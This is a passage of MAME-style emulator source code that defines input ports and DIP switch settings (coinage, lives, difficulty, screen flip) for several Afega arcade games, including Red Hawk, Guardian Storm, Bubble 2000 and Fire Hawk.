PORT_DIPSETTING( 0x2000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END // everything seems active high, not low static INPUT_PORTS_START( redhawkb ) PORT_START("IN0") // $080000.w PORT_BIT( 0x0001, IP_ACTIVE_HIGH, IPT_COIN1 ) PORT_BIT( 0x0002, IP_ACTIVE_HIGH, IPT_COIN2 ) PORT_BIT( 0x0004, IP_ACTIVE_HIGH, IPT_SERVICE1 ) PORT_BIT( 0x0008, IP_ACTIVE_HIGH, IPT_START1 ) PORT_BIT( 0x0010, IP_ACTIVE_HIGH, IPT_START2 ) PORT_BIT( 0x0020, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x0040, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0xff00, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_START("IN1") // $080002.w PORT_BIT( 0x0001, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_START("DSW1") // $080004.w -- probably just redhawk but inverted PORT_DIPNAME( 0x0001, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // Other sets, this is TEST MODE, but here it doesn't work PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0001, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0000, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0004, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0008, DEF_STR( On ) ) PORT_DIPNAME( 0x0010, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0010, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:3") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0020, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x0000, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW2:2,1") PORT_DIPSETTING( 0x00c0, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x0000, "3" ) PORT_DIPSETTING( 0x0080, "5" ) PORT_DIPNAME( 0x0300, 0x0000, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8,7") // not supported PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0300, DEF_STR( On ) ) PORT_DIPSETTING( 0x0100, "Horizontally" ) PORT_DIPSETTING( 0x0200, "Vertically" ) PORT_DIPNAME( 0x0400, 0x0000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0400, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x0000, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:5,4") PORT_DIPSETTING( 0x1000, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0800, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0x0000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0xe000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END /*************************************************************************** Sen Jin - Guardian Storm ***************************************************************************/ static INPUT_PORTS_START( grdnstrm ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Free_Play ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, "Bombs" ) PORT_DIPLOCATION("SW1:5") PORT_DIPSETTING( 0x0008, "2" ) PORT_DIPSETTING( 0x0000, "3" ) PORT_DIPUNUSED_DIPLOC( 0x10, 0x10, "SW1:4" ) // Listed as "Unused" & doesn't show in test mode PORT_DIPUNUSED_DIPLOC( 0x20, 0x20, "SW1:3" ) // Listed as "Unused" & doesn't show in test mode PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0080, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0040, "5" ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0100, 0x0100, "Mirror Screen" ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:5,4") PORT_DIPSETTING( 0x0800, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x1000, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END static INPUT_PORTS_START( grdnstrk ) PORT_INCLUDE( grdnstrm ) PORT_MODIFY("DSW1") // $080004.w PORT_DIPNAME( 0x0200, 0x0200, "Mirror Screen" ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) INPUT_PORTS_END /*************************************************************************** Pop's Pop's ***************************************************************************/ static INPUT_PORTS_START( popspops ) PORT_INCLUDE( afega_common ) // the dips on this are a mess... service mode doesn't seem to be 100% trustable PORT_START("DSW1") // $080004.w PORT_SERVICE( 0x0001, IP_ACTIVE_LOW ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0000, DEF_STR( Unknown ) ) // if ON it tells you the answers?! PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0040, 0x0040, DEF_STR( Free_Play ) ) PORT_DIPSETTING( 0x0040, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0080, 0x0080, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0080, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, DEF_STR( Difficulty ) ) PORT_DIPSETTING( 0x1000, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0800, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END /*************************************************************************** Bubble 2000 ***************************************************************************/ static INPUT_PORTS_START( bubl2000 ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // Manual lists as "Screen Flip Horizontal" Doesn't work??? PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:7") // Manual lists as "Screen Flip Vertical" Doesn't work??? PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:6,5") PORT_DIPSETTING( 0x0008, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") // Manual lists as "Unused" PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:3") // Manual lists as "Unused" PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, "Free Credit" ) PORT_DIPLOCATION("SW2:2,1") PORT_DIPSETTING( 0x0080, "500k" ) PORT_DIPSETTING( 0x00c0, "800k" ) PORT_DIPSETTING( 0x0040, "1000k" ) PORT_DIPSETTING( 0x0000, "1500k" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:8") // Manual lists as "Unused" PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") // Manual lists as "Unused" PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0200, DEF_STR( On ) ) PORT_DIPNAME( 0x1c00, 0x1c00, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW1:6,5,4") PORT_DIPSETTING( 0x1000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0800, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x1800, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c00, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x1400, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0400, DEF_STR( 1C_4C ) ) // PORT_DIPSETTING( 0x0000, "Disabled" ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0x8000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 1C_4C ) ) // PORT_DIPSETTING( 0x0000, "Disabled" ) INPUT_PORTS_END static INPUT_PORTS_START( bubl2000a ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:8") // Manual lists as "Unused" PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") // Manual lists as "Unused" - N0 Demo Sounds PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW1:6,5,4") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) // PORT_DIPSETTING( 0x0000, "Disabled" ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) // PORT_DIPSETTING( 0x0000, "Disabled" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // Manual lists as "Screen Flip Horizontal" Doesn't work??? PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:7") // Manual lists as "Screen Flip Vertical" Doesn't work??? PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0c00, 0x0c00, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:6,5") PORT_DIPSETTING( 0x0800, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0400, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x1000, 0x1000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") // Manual lists as "Unused" PORT_DIPSETTING( 0x1000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x2000, 0x2000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:3") // Manual lists as "Unused" PORT_DIPSETTING( 0x2000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0xc000, 0xc000, "Free Credit" ) PORT_DIPLOCATION("SW2:2,1") PORT_DIPSETTING( 0x8000, "500k" ) PORT_DIPSETTING( 0xc000, "800k" ) PORT_DIPSETTING( 0x4000, "1000k" ) PORT_DIPSETTING( 0x0000, "1500k" ) INPUT_PORTS_END /*************************************************************************** Mang Chi ***************************************************************************/ static INPUT_PORTS_START( mangchi ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_DIPNAME( 0x0001, 0x0001, "DSWS" ) // Setting to on cuases screen issues, Flip Screen? or unfinished test mode? PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0018, 0x0018, "Vs Rounds" ) PORT_DIPSETTING( 0x0018, "2" ) PORT_DIPSETTING( 0x0010, "3" ) PORT_DIPSETTING( 0x0008, "4" ) PORT_DIPSETTING( 0x0000, "5" ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0040, 0x0040, DEF_STR( Free_Play ) ) PORT_DIPSETTING( 0x0040, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0080, 0x0080, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0080, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, DEF_STR( Difficulty ) ) // Hard to tell levels of difficulty by play :-( PORT_DIPSETTING( 0x0800, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x1000, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END /*************************************************************************** Fire Hawk ***************************************************************************/ static INPUT_PORTS_START( firehawk ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x000e, 0x000e, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:7,6,5") PORT_DIPSETTING( 0x0006, DEF_STR( Very_Easy) ) PORT_DIPSETTING( 0x0008, DEF_STR( Easy ) ) // PORT_DIPSETTING( 0x000a, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000e, DEF_STR( Normal ) ) // PORT_DIPSETTING( 0x0000, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Hardest ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Very_Hard ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0010, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, "Number of Bombs" ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, "2" ) PORT_DIPSETTING( 0x0000, "3" ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0080, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0040, "4" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Region ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0200, DEF_STR( World ) ) // Fire Hawk PORT_DIPSETTING( 0x0000, DEF_STR( China ) ) // 火狐傳說/Huǒhú chuánshuō PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Free_Play ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, "Continue Coins" ) PORT_DIPLOCATION("SW2:5,4") PORT_DIPSETTING( 0x1800, "1 Coin" ) PORT_DIPSETTING( 0x0800, "2 Coins" ) PORT_DIPSETTING( 0x1000, "3 Coins" ) PORT_DIPSETTING( 0x0000, "4 Coins" ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END static INPUT_PORTS_START( firehawkv ) PORT_INCLUDE( firehawk ) PORT_MODIFY("DSW1") PORT_DIPNAME( 0x0100, 0x0000, "Orientation" ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, "Vertical" ) PORT_DIPSETTING( 0x0000, "Horizontal" ) INPUT_PORTS_END /*************************************************************************** Spectrum 2000 ***************************************************************************/ static INPUT_PORTS_START( spec2k ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Free_Play ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, "Number of Bombs" ) PORT_DIPLOCATION("SW1:5") PORT_DIPSETTING( 0x0008, "2" ) PORT_DIPSETTING( 0x0000, "3" ) PORT_DIPNAME( 0x0010, 0x0010, "Copyright Notice" ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0010, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0080, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0040, "5" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, 